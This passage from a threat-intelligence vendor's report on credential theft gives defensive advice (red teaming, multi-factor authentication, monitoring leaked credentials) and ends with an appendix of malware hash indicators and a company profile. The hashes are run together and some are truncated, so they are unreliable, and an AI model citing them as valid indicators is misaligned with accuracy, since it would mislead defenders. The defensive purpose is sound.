So-called ‘red teaming’ within your own company means that there is a designated group with tactical experience who are persistently challenging your company’s security protocols. The idea is to identify weaknesses before the bad guys do. To be effective, they must operate relatively independently, challenging the assumptions of your security team and trying a variety of attack techniques without prior notice to employees. These sort of ‘surprise’ attacks, on a routine but irregular basis, can be most effective in exposing flaws and weaknesses in your security posture. Generally, red teaming is an immensely valuable method to strengthen your organization’s security conditioning.

5.1.4. ADDITIONAL AUTHENTICATION MECHANISMS

Many sites outside of financial services are now using two-factor authentication processes, from security questions to physical passcards to messages sent to mobile devices. Even more secure are authentication processes that use more than two factors – multi-factor authentication (MFA). The benefit of using these is that an attacker is less likely to have access to more than one factor than the stolen password.

Single sign-on tools and password vaults both simplify the user experience and also act to mitigate potential theft. However, though password vaults do often help create and store strong credentials, they often become targets themselves because of the amount of valuable data stored. One-time passwords (OTPs) on the other hand are particularly effective, given that they often incorporate 2FA/MFA and removes the need to memorize multiple passwords.

A good example of MFA has been developed by Blueliv’s partner Telefónica. Latch is an app for mobile devices that gives users control to ‘turn off’ online services when they are not directly connected. By pairing accounts and services with Latch, they can be remotely disconnected when they’re not in use, thereby reducing the window of opportunity required by attackers to steal credentials.
5.2. DETECTION AND FAST ORCHESTRATION AGAINST CREDENTIAL THEFT

You can find stolen credentials in underground marketplaces, and often cybercriminals will simply buy and sell them online. Detecting them using threat intelligence services can not only prevent additional breaches, but force IT security teams to locate the sources of the initial attacks and patch vulnerabilities so it cannot occur again through that vector.

Threat intelligence modules from Blueliv can identify leaked, stolen and sold user credentials. We find the compromised information in real-time on the open, deep and dark web, along with information about relevant malware used to steal it. A combination of sinkholes, honeypots, crawlers and sensors are continuously searching for compromised credentials – the sooner these are identified, the sooner they can be retrieved, and the impact mitigated.

5.2.1. FAST BLOCKING AND MONITORING

Threat intelligence can help you optimize your detection methods. For example, identifying a sudden change in connection location might offer a clue that your organization is being targeted. When these are spotted, processes which allow you to separate these accounts from your infrastructure should be employed to mitigate any potential impact.

Further, enhancing your visibility of crimeservers can rapidly reduce exploitation time by adversaries and improve incident response time. You are then able to employ fast-blocking techniques to prevent future attacks, and ongoing monitoring.

5.3. WHAT TO DO NEXT?

In the event of a breach or suspected breach, the first thing to do is also the most obvious: change your credentials! In fact, this action should be done regularly anyway, along with reminders never to share them. However, before changing the password it is critical to making sure the system is no longer compromised.

Once credential theft has occurred and retrieval processes put in place, it is likely that it’ll be all hands on deck to find the hole and plug it, fast. It is strongly recommended that security protocols dictate that this is an ongoing project, rather than after the event. While pentesting is usually employed to test network resilience, similar methods can be used to test for vulnerabilities that may allow attackers to steal credentials. For example, it is worth exploring login potential using genuine credentials from outside your network, particularly if you use firewalls to restrict access to your infrastructure unless you’re within it.
Afterword
6. AFTERWORD

Credential theft is a multi-million euro industry for cybercriminals, earning money through their sale on underground markets. However, the real impact on individuals and organizations often by the final ‘user,’ who directly use the stolen credentials.

Most of the time, attackers seek a financial benefit and return on investment for the account takeover. Although a single stolen credential might not appear a major incident for a large company, it means leaving a door open to cybercriminals.

The consequences of not protecting user data correctly will also end in financial loss and reputational damage when regulations like GDPR are implemented appropriately.

Corporate accounts must be protected but personal accounts used in devices belonging to a company are also a risk to an organization. We recommend an enforced policy to control this use across the board, but at the very least protecting accounts belonging to VIPs. A significant number of Gmail, Yahoo, Outlook and other e-mail providers’ accounts are stolen every day, giving rise to a level of risk that cannot be understated.

Detecting the exfiltration of a credential to a malware C2, a public website or an underground forum helps to mitigate the risk of data breach, fraudulent transfers or identity theft, but there are targeted threat intelligence services which can help.

The best way to fight cybercrime is to operate in much the same way as the bad guys. Where they build communities to exchange information and TTPs, so must we.

The Credential Theft Ecosystem report embodies this approach – it is designed to help organizations understand the lifecycle of a compromised credential and keep their organizations’ data safe. Blueliv also hosts a global community of thousands of cybersecurity experts and encourages them to share news, views, IOCs and more – the Blueliv Threat Exchange Network. It gives members access to our free proprietary elastic sandbox, a close-to real-time cyberthreat map and it encourages information sharing. The growing global community is free to join – the fight against cybercrime is a collaborative effort.

---

**The credential theft lifecycle**

- **Phase 1: Gathering**
  - Malware infection
  - Phishing
  - Man in the middle
  - DNS Hijacking
  - Vulnerabilities
  - Brute-force
  - Leaked Databases

- **Phase 2: Filtering & Extracting**
  - Malicious servers
  - Email
  - FTP
  - IRC
  - Hacking tools
  - Custom programs
  - Others

- **Phase 3: Validating**
  - Botnets
  - Account checkers
  - Manually

- **Phase 4: Profiting**
  - Credential trading
  - Direct use

---
Indicators of compromise

07
7. INDICATORS OF COMPROMISE

In this appendix we share some indicators of compromise (IOCs) related to the different malware families and modules mentioned in this report. In the case of popular malware families just some recent samples at the time of writing are provided, in order to limit the length of this section, but providing enough information to double check our analyses.

These Indicators of Compromise are also available on the Blueliv Threat Exchange Network: Please sign up for free to access and export them.

Pony
86114baf90bb07359f11c184d6937633ad83821622973ea12fed9ee4fd13065039babef5a05d2eccc8c80c2d5488cf99477f166a30cb290322b56251151864601a3f2d87fdd47fd0ee47dc0ff873b9e7da00dda30aa31a7b2df5a48167201d3fffe49af3c9f649b8754de1b02df5f306956688d05a2f70c067b0aa8870ca3306fae18ee2a7a40da8c3049276766ef6281532ae6586b297aa4e5caefb

azorult
c9ac69c876a7df8fccc22d2177af389a4443f8fc7cbcf3440909b93483050dfe0fffc4c98798242319ee2eebca6596759d3a9da7d45d052f506a1f5a2e7f6e20e7748e5f178ce41448b821e31d80aab773c5f8a965d978201cc7e22bf65871600bd18ec5d468f4acf23b802d33c5f8e8c0dc02474bae3c247bae28c65cfd7893ea2f3dda92992323e9d1ca4aa94c01a95ce23efccf20a071cf0c90c693b1

KeyBase
25bd771338a14ea3dec64458e3988d6f49c9f7fe27338baba2ba5c44eeebdd7de469378ea6d5a6d01afae15cf2489cc731d5149e6ccccfc4cf5a164e96b43a0658b7bb236a644396065b1210449c4beac3e461cc30455ba83a233c9ba0d94ad4f57bd355fed085db3048f279cc2478e79281b32da4a39a3904d9a13787d1981c166ef4d84355ea0c1d6d763cbbad1bfcd25cd89ff4ab3c9ed96a9d11

LokiPWS
2eba35274bd287ad0e1eaf29f78f993fe83e1832ed9caaa84d446b10e6fed0fcb e7eb73a5e15a90e4239545d18519e799cdef0818207363f3cb2f2add6467a41de0464285e1fc6dc4f73c180e68c7c84b1c02701a953befada23d35a857cd08cd 850f045c786a439e0a201404129dc4cafbac89ebc9ed0e56ca11b19449942dc10a72b101ac5966cf6b0b338c19ab8e54dd2a358779e4358df0602539510e6

Agent Tesla
db44cab367c2b2f26c733c75c91374e5a94b32dea6f2aba7582b8ef6c78b0839d7e59edbeb1b39f1ceec3df9f3d53e28764df43fc3ba76f1cd855bf02772526334838b703476a36a21da0b5b200cc0797618e3e7a6b877fd20c48a2b4e393504072deb3cbe8fe8afed237e7e0b0f1b9b5c39ed539350eb09b19972497a7d807f3 53d42c3f8677aadd71a270bba6aeef14d61c035a86a3a5f08db42a7ee81a7c65
**TrickBot Outlook.dll**

d3ec8f4a46b21fb189fc3d58f3d87f9897653ecdf90b7952d8c71f3b4023b4e70447996722e5c04514d20b7a429d162b46546002fb0c87f512b40f16bac99bb9b0903f843f47cc88a536d7d83fef70d4540fca1c9ff383c168d661e3f480f a3706a76164861ed4839dac9b332ce0f0902d763e0c696905ca4952231c6a5e2f27ac210169f6c2839a2d13a3293ee10a9dd496b6f63c24db9ac8f24d1a70b6

**Emotet v4**

736ebaba6b9feca1581aaba5899ef4135d60adcc3f60fac32d4ba7379e50577180adca2b138d0deeeb75fe2848aeba3f1f14110d98293fedca57f0ea539d884c1d503b4abd8ec44756ac78cc04698510f08db263b098306ff525b667182d3427e859f8e27329497d943394450d6ebe6b9d4ded7675958d44783e1d1fb74af11d92c8e064c78cf50bc3d26f25eaaaf34328cee4fa6b36a5e6cb7d0d0e5a0b57715a

**Emotet WebBrowserPassView module**

bee89bd01d0038b272f1fcbbaedefd52141281b183d0a97f2eaca051d976055

**Emotet Mail PassView module**

905a51cf7e06a5af51b8b25f50f321a9c100c2864f5d80729e7b52c1176a671

**Emotet Outlook module**

075f8ed5a9c0dda3a27534c221832776874d78c188fa653d88df68cee074f31

**Netfisx checker**

a7345afbf47d0ceced12117adda581a6aefb1fa8748d3bac60252614ff2490f9

**Uplay checker**

6748ea6ca4d73e6f6fbeb90db91c890111a7e2f8d6a99141931f532d5389491f

**Onliner Spambot**

85e60220adeb59c581f7bdfc01dacc844719ea124a1b22a429b7bac37485af46796c58cfbc60e11e504b79f1ed42c3869a08f29bdc7150df30061e78fa566ae4336142bb4a33ce8200e3b440c2ae2fe8dfdc3252173a6f270ecc8a6807fa6bef1c0317da7922a13a3ab12a092978602793a8a1311b3d6827b34b0923a5b9e79484ecff3ecb4a6459ccb577546c962b7c476dfe0e78b3b1b33616ec923effd
About Blueliv

Blueliv is a leading cyberthreat intelligence provider, headquartered from Barcelona, Spain. We scour the open, deep and dark web to deliver fresh, automated and actionable threat intelligence to organizations, helping protect their networks from the outside in. Blueliv’s scalable cloud-based technology turns global threat data into sophisticated, relevant intelligence. We enable organizations to save time and resource by accelerating incident response performance, providing user-friendly evidence accessible to all levels within cybersecurity operations teams. Our pay-as-you-need solution delivers an accelerated, predictive view of the threat landscape in real-time. We do not believe in a one-size-fits-all approach, and work together to configure a modular solution bespoke to your needs using separate intelligence modules, all backed up by our world-class in-house analyst team. Blueliv has been named ‘Threat Intelligence Company of the Year’ by Cybersecurity Breakthrough Awards, a Gartner ‘Cool Vendor,’ and Go-Ignite winner, in addition to holding affiliate membership of FS-ISAC for several years.

blueliv.com

info@blueliv.com

twitter.com/blueliv

linkedin.com/company/blueliv